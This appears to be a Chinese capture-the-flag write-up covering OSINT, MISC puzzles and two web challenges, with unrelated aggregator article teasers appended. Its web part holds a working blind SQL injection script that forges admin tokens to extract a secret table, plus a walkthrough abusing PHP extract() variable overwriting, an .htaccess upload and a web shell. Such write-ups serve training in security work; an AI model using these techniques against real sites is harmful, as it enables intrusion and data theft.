DRKCT复现

Osint

羡慕群友每一天

MISC

签到

扫码关注公众号,回复一下行

(眼神要好, 我做题时没看见有个二维码)

神秘的文字

把代码js运行一下

(用js的原因是前面给的动物代表的字符类似jsfuck代码)

𓅂=+![];
𓂀=+!𓅂;
𓁄=𓂀+𓂀;
𓊎=𓁄+𓂀;
𓆣=𓁄*𓁄;
𓊝=𓊎+𓁄;𓆫=𓁄*𓊎;
𓅬=𓆣+𓊎;
[𓇎,𓏢,𓆗,𓃠,𓃀,𓋌,𓏁,𓇲,𓁣,𓁺,𓏁,𓇲,𓆦,𓏁,𓁣,𓇲,𓄬,𓇲,𓁣,𓏁,𓋌,𓁣,𓇲,𓏁,𓋌,𓇲]=(𓆡='\\"')+!!𓆡+!𓆡+𓆡.𓆡+{};
𓆉=𓇲+𓁣+𓆦+𓁺+𓆗+𓃠+𓃀+𓇲+𓆗+𓁣+𓃠,𓆉=𓆉[𓆉][𓆉],𓄦=𓏁+𓁣+𓄬+𓆦,𓄀=𓃠+𓋌+𓆗+𓃀+𓃠+𓆦+" ";
console.log(𓇎+𓂀+𓅂+𓅬+𓇎+𓂀+𓂀+𓅬+𓇎+𓂀+𓂀+𓅬+𓇎+𓂀+𓅂+𓆣+𓇎+𓆣+𓂀+𓇎+𓂀+𓊎+𓂀+𓇎+𓂀+𓂀+𓅬+𓇎+𓂀+𓁄+𓊝+𓇎+𓂀+𓆫+𓁄+𓇎+𓆣+𓅂+𓇎+𓂀+𓆫+𓅂+𓇎+𓂀+𓅂+𓂀+𓇎+𓂀+𓆫+𓊎+𓇎+𓂀+𓆫+𓊎+𓇎+𓂀+𓁄+𓅬+𓇎+𓂀+𓊝+𓅬+𓇎+𓂀+𓆫+𓁄+𓇎+𓂀+𓆣+𓆣+𓇎+𓆣+𓅂+𓇎+𓂀+𓊝+𓂀+𓇎+𓂀+𓆫+𓊎+𓇎+𓅬+𓁄+𓇎+𓂀+𓊝+𓊝+𓇎+𓂀+𓅂+𓂀+𓇎+𓂀+𓆫+𓁄+𓇎+𓂀+𓆫+𓆣+𓇎+𓆫+𓂀+𓇎+𓂀+𓂀+𓆫+𓇎+𓂀+𓊎+𓅬+𓇎+𓂀+𓂀+𓊎+𓇎+𓆫+𓂀+𓇎+𓂀+𓅂+𓊝+𓇎+𓂀+𓁄+𓅂+𓇎+𓂀+𓆫+𓅂+𓇎+𓆫+𓊎);

 是八进制,转成文本,我用脚本转,在线工具有乱码

import chardet

byte_str = b"\107\117\117\104\41\131\117\125\162\40\160\101\163\163\127\157\162\144\40\151\163\72\155\101\162\164\61\116\137\113\61\105\120\160\63"
byte_str_charset = chardet.detect(byte_str)  # 获取字节码编码格式

byte_str = str(byte_str, byte_str_charset.get('encoding'))  # 将八进制字节流转化为字符串
print(byte_str)

WEB

在经历过几次比赛以后发现现在比赛的web题,难度和脑洞都有,特别是在脚本和自动化工具的运用上要求很熟练,否则在做题时可能会感觉无从下手

EzLogin
TOKEN

Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码

作用:

1. 身份验证令牌(Authentication Token):在身份验证过程中,令牌是一个用于证明用户身份的凭据。它可以是一个包含用户信息和其他标识符的加密字符串,例如用户名、角色、权限等。常见的身份验证令牌包括JWT(JSON Web Token)和OAuth令牌。

2. 会话令牌(Session Token):在Web应用程序中,会话令牌是一个用于标识用户会话的唯一标识符。它通常存储在客户端的Cookie中,并在用户登录后生成和发送到客户端。会话令牌可以帮助服务器跟踪用户的状态,例如用户是否已经登录,以及用户的特定会话数据。

3. 访问令牌(Access Token):在OAuth身份验证流程中,访问令牌是一个用于访问受保护资源的凭据。当用户通过OAuth授权后,授权服务器会颁发访问令牌给客户端应用程序,然后客户端可以使用该令牌来请求受保护资源。

4. CSRF令牌(Cross-Site Request Forgery Token):用于防止跨站请求伪造攻击的令牌。它是一个随机生成的字符串,嵌入到Web表单中,并在提交表单时与会话中存储的令牌进行比较。如果两者不匹配,则请求被视为潜在的CSRF攻击。

个人感觉如果了解过session的话,可能比较好理解token

进入靶场后,查看源代码发现有一个注册的页面,先注册一个账户,然后登录

(我注册的是admin1 123)

登录后会跳转到home.php,一开始我以为是登录的问题,反复尝试了几遍发现还是这个页面,只能抓包看看,发现了token,放厨师里面解密一下

是一串json的字符串,把admin改为1,修改token

在刷新home.php,发现会回显注册的用户和密码

 在大token里面还有一个小token,是md5,所以可以多注册几个用户尝试看home.php的回显

听有些大佬用的二次注入,应该是因为有页面回显了用户信息,所以二次注入构造恶意sql语句

这里使用布尔盲注,因为经过尝试后,发现存在sql注入

#导入库
import requests #用于发送HTTP请求
import base64 #用于进行Base64编码和解码
import hashlib #用于计算MD5哈希值
import binascii#用于在二进制数据和ASCII字符串之间进行转换
import json #用于处理JSON数据(因为要构建json的字符串形式)
#定义辅助函数
def bin2hex(binary_data):
    hex_data = binascii.hexlify(binary_data)
    return hex_data.decode('utf-8')
def hash_md5(input_string):
    md5_obj = hashlib.md5()
    md5_obj.update(input_string.encode('utf-8'))
    hash_string = md5_obj.hexdigest()
    return hash_string
def encode_base64(input_string):
    input_bytes = input_string.encode('utf-8')
    base64_bytes = base64.b64encode(input_bytes)
    base64_string = base64_bytes
    return base64_string
s=""
#循环构造和发送请求
for j in range(1,50):
    for i in range(32,130):
        inp="admin'/**/and/**/substr((select table_name from information_schema.tables where table_schema like 0x444b435446 LIMIT 2,1),"+str(j)+",1)='"+chr(i)+"'/**/and/**/'1"
        inp="admin'/**/and/**/substr((select sseeccrreett from secret),"+str(j)+",1)='"+chr(i)+"'/**/and/**/'1"
        inp=inp.replace(" ","/**/")
        md=hash_md5(inp)
        jso=json.dumps({"username":inp, "token":md, "is_admin":1})
        token=bin2hex(encode_base64(jso))
        headers={
        "Host":"challenge.qsnctf.com:32311",
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0",
        "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
        "Cookie":"TOKEN="+token
        }
        a=requests.get("http://challenge.qsnctf.com:32311/home.php",headers=headers)
#处理响应
        if("No user found." in a.text):
            pass
        elif("Hacker" in a.text):
            pass
            #print(chr(i),"*hacker")
            #print(a.text)
            #break
        else:#if("pass" in a.text):
            s+=chr(i)
            print(s)
            break

 

总结:这题主要就是抓住token,因为token是我们注册是生成的令牌,并且题目也给了hint是根据用户来输出密码,说明跟token有关,对于cookie中的session,token之类的东西要敏感一点

ezsign

dirsearch扫一下,发现index.php.bak 下载后打开,进行代码审计

?php 
error_reporting(0);
// 检查 cookie 中是否有 token
$token = $_COOKIE['token'] ?? null;

if($token){
    extract($_GET);
    $token = base64_decode($token);
    $token = json_decode($token, true);


    $username = $token['username'];
    $password = $token['password'];
    $isLocal = false;
    
    if($_SERVER['REMOTE_ADDR'] == "127.0.0.1"){
        $isLocal = true;
    }

    if($isLocal){
        echo 'Welcome Back,' . $username . '!';
        //如果 upload 目录下存在$username.png文件,则显示图片
        if(file_exists('upload/' . $username . '/' . $token['filename'])){
            // 显示图片,缩小图片
            echo '<br>';
            echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';
        } else {
            echo '请上传您高贵的头像。';
            // 写一个上传头像的功能
            $html = <<<EOD
            <form method="post" action="upload.php" enctype="multipart/form-data">
                <input type="file" name="file" id="file">
                <input type="submit" value="Upload">
            </form>
            EOD;
            echo $html;
        }
    } else {
        // echo "留个言吧";
        $html = <<<EOD
        <h1>留言板</h1>
        <label for="input-text">Enter some text:</label>
        <input type="text" id="input-text" placeholder="Type here...">
        <button onclick="displayInput()">Display</button>
        EOD;
        echo $html;
    }
} else {
    $html = <<<EOD

大致的意思是:

  1. 首先,检查cookie中是否存在名为"token"的值。如果存在,则解码该token并提取出其中的用户名、密码以及其他信息。
  2. 然后,检查用户的IP地址是否为本地地址(127.0.0.1),如果是,则欢迎用户,并检查是否存在用户上传的头像文件。如果存在,则显示该头像;否则,提示用户上传头像的功能。
  3. 如果用户不是本地用户,则显示一个留言板,允许用户输入文本,并在点击按钮后将文本显示出来。
  4. 如果cookie中不存在"token"值,则显示一个登录表单,要求用户输入用户名和密码进行登录。

其中存在一个extract()函数,这个函数可能导致变量覆盖

extract - 从关联数组中提取变量 (键为变量名,值为变量值),导入系统

$data = array("username" => "john", "age" => 30);
extract($data);
echo $username; // 输出 "john"
echo $age;      // 输出 "30"

 前面要求是本地127.0.0.1访问的,所以可以利用extract来进行变量覆盖,通过上传_SERVER[REMOTE_ADDR]=127.0.0.1,被extract提取后导入系统中,进入upload页面

上传文件后,发现蚁剑连接不上,查看源码发现存在一个.htaccess

这里真不知道怎么判断出的解析不成功,赛方给了hint

(30分钟后,我明白了,当我上传了php后,直接访问显示的还是源码,所以来判断没有被解析

Dusk队的wp )

上传一个.htaccess配置文件,打开php解析引擎("php_flag engine 1"来打开引擎 )

之后蚁剑连接 /upload/admin/1.jpg,路径是图片路径

知识点:.htaccess和extract

.htaccess文件是一个用于配置 Apache Web 服务器的配置文件,它可以用来控制网站的行为,包括重定向、URL 重写、访问控制等。.htaccess 文件通常位于网站根目录下,它的名称以点开头,表示该文件是一个隐藏文件,用于存放敏感配置信息

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/650455.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

香橙派AIpro初体验,详解如何安装Home Assistant Supervised

香橙派AIpro&#xff08;OrangePi AIpro&#xff09;开发版&#xff0c;定位是一块AI开发板&#xff0c;搭载的是华为昇腾310&#xff08;Ascend310&#xff09;处理器。 没想到&#xff0c;这几年的发展&#xff0c;AI开发板也逐渐铺开&#xff0c;记得之前看到华为发布昇腾3…

YOLOv8+PyQt5鸟类检测系统完整资源集合(yolov8模型,从图像、视频和摄像头三种路径识别检测,包含登陆页面、注册页面和检测页面)

资源包含可视化的鸟类检测系统&#xff0c;基于最新的YOLOv8训练的鸟类检测模型&#xff0c;和基于PyQt5制作的可视化鸟类检测系统&#xff0c;包含登陆页面、注册页面和检测页面&#xff0c;该系统可自动检测和识别图片或视频当中出现的各种鸟类&#xff0c;以及自动开启摄像头…

利用ESP32(Arduino IDE)向匿名上位机发送欧拉角

文章目录 一. 匿名上位机介绍二. 匿名协议说明1. 匿名协议官方说明文档2. 协议说明 三. 向匿名上位机发送数据(基于Arduino IDE的esp32)四. 运行效果 一. 匿名上位机介绍 匿名上位机官方介绍视频 匿名上位机官方下载 二. 匿名协议说明 1. 匿名协议官方说明文档 官方对于协…

DOS学习-目录与文件应用操作经典案例-ren

新书上架~&#x1f447;全国包邮奥~ python实用小工具开发教程http://pythontoolsteach.com/3 欢迎关注我&#x1f446;&#xff0c;收藏下次不迷路┗|&#xff40;O′|┛ 嗷~~ 目录 一.前言 二.使用 三.案例 案例 1&#xff1a;重命名当前目录下的文件 案例 2&#xff1a…

[论文笔记]SELF-INSTRUCT

引言 今天带来论文SELF-INSTRUCT: Aligning Language Models with Self-Generated Instructions的笔记。 大型指令微调的语言模型(被微调以响应指令)展示了在新任务上零样本泛化的显著能力。然而&#xff0c;它们严重依赖于人工编写的指令数据&#xff0c;这种数据在数量、多…

视频监控平台AS-V1000产品介绍:账户或用户数据的导入和导出功能介绍

目录 一、功能描述 &#xff08;一&#xff09;导入功能定义 &#xff08;二&#xff09;导出功能定义 二、用户数据的导入导出的作用 三、AS-V1000新版本的导出和导入功能介绍 &#xff08;一&#xff09;功能主界面 &#xff08;二&#xff09;导出功能 1、导出操作 …

(四)手把手教你内网穿透,实现外网主机访问内网服务器

背景&#xff1a;书接上回&#xff0c; 服务器的使用-CSDN博客 课题组成员都有自己的账号&#xff0c;且能通过内网访问服务器&#xff0c;进行远程连接了。我们知道内网中的主机可以访问公网的主机&#xff0c;反之不可以访问。那么如果课题组成员在家不在内网区域内&#x…

洗地机哪个品牌的质量比较好?家用洗地机品牌排行榜

随着科技的迅速发展和生活水平的不断提高&#xff0c;洗地机凭借其集吸尘、拖地和洗地于一体的技术优势&#xff0c;成为了家庭清洁的理想选择。洗地机不仅能够高效清理各种地面污渍&#xff0c;还能同时处理干湿垃圾&#xff0c;极大地提升了清洁效率。然而&#xff0c;市场上…

.NET调用阿里云人脸核身服务端 (ExecuteServerSideVerification)简易流程保姆级教学

需要注意的是&#xff0c;以下内容仅限基础调用 功能说明 该功能是输入核验人的姓名和身份证以及人脸照片&#xff0c;去阿里库里面匹配&#xff0c;3个信息是否一致&#xff0c;一致则验证通过&#xff0c;需要注意的是&#xff0c;人脸有遮挡&#xff0c;或者刘海&#xff0…

气泡水位计的安装方法详解(二)

气泡水位计的安装方法详解&#xff08;二&#xff09; 产品简介 气泡式水位计ZL-BWL-013是一款适用于水文、水利信息化建设领域的新一代水位测量类设备&#xff0c;产品执行GB/T 11828.2-2022标准。ZL-BWL-013气泡水位计&#xff0c;具有安装方便、易于操作&#xff0c;高精度…

香橙派 AIpro综合体验及AI样例运行

香橙派 AIpro综合体验及AI样例运行 环境&#xff1a; 香橙派版本&#xff1a; AIpro(8TOPSINT8) OS : Ubuntu 22.04.3 LTS(GNU/Linux 5.10.0 aarch64) (2024-03-18) 远程服务端1&#xff1a;OpenSSH 8.9p1 远程服务端2&#xff1a;TightVNC Server 1.3.10 远程客户端&#xf…

宝塔部署纯Vue项目,无后端

1.打包项目 生成一个dist文件夹 2.创建云服务器根目录 3.创建站点 4.上传文件 5.访问

2024.5.22 关于 SpringCloud —— Nacos 配置管理

目录 Nacos 配置统一管理 Nacos 配置热部署 Nacos 多环境配置共享 配置优先级 Nacos 配置统一管理 实例理解 我们想要利用 Nacos 在 user-service 的 application.yml 配置文件中新增配置项此处我们将新增配置日期格式为 yyyy-MM-dd HH:mm:ss下图为新增 Nacos 配置统一管理…

ROS for LabVIEW:实现LabVIEW与ROS的无缝集成

ROS for LabVIEW是由Tufts大学开发的一套VI集合&#xff0c;旨在实现LabVIEW与ROS&#xff08;Robot Operating System&#xff09;的无缝集成。ROS是一个灵活的机器人软件框架&#xff0c;而LabVIEW则是一种强大的图形化编程工具。这个工具包的推出使得LabVIEW用户能够直接与R…

针对上两篇微信同声传译语音播报功能,又出现了坑

我又双叒叕来了&#xff0c;自己写的bug&#xff0c;跪着也要改完&#xff0c;我是真的服了 首先&#xff0c;我们来说说是什么问题吧 上一篇文章的这张图还记得吧&#xff0c;不记得的&#xff0c;我在下面贴出来了&#xff1b; 我们在长度大于300的时候&#xff0c;根据句号…

dp + 计数,1954D - Colored Balls

一、题目 1、题目描述 2、输入输出 2.1输入 2.2输出 3、原题链接 Problem - 1954D - Codeforces 二、解题报告 1、思路分析 本题前置题目&#xff1a; 1953. 你可以工作的最大周数 通过前置题目可以知道如何计算两两不同数对序列的最大长度 我们记最大数量为ma&#xf…

景源畅信电商:做抖店的成本高吗?

在当今数字化时代&#xff0c;抖音不仅仅是一个分享短视频的平台&#xff0c;更是一个充满商机的市场。随着抖音用户量的激增&#xff0c;越来越多的商家和个人开始关注在抖音上开设店铺&#xff0c;即所谓的“抖店”。那么&#xff0c;做抖店的成本高吗?这个问题困扰着许多初…

剖析【C++】——类与对象(上)超详解——小白篇

目录 1.面向过程和面向对象的初步认识 1.面向过程&#xff08;Procedural Programming&#xff09; 2.面向对象&#xff08;Object-Oriented Programming&#xff09; 概念&#xff1a; 特点&#xff1a; 总结 2.C 类的引入 1.从 C 语言的结构体到 C 的类 2.C 中的结构…

InTouch历史报警、历史事件按时段查询,导出

简介&#xff1a;本插件基于上位机组态InTouch的历史报警、操作记录而开发 适用InTouch版本&#xff1a;不限 适用Windows系统&#xff1a;不限 适用数据库&#xff1a;SQL Server 标记名点数&#xff1a;不限 配套软件安装&#xff1a;Excel、WPS、SQL Server 功能&…

【C++初阶】—— 类和对象 (上)

&#x1f4dd;个人主页&#x1f339;&#xff1a;EterNity_TiMe_ ⏩收录专栏⏪&#xff1a;C “ 登神长阶 ” &#x1f339;&#x1f339;期待您的关注 &#x1f339;&#x1f339; 类和对象 1. 初步认识C2. 类的引入3. 类的定义声明和定义全部放在类体中声明和定义分开存放 4.…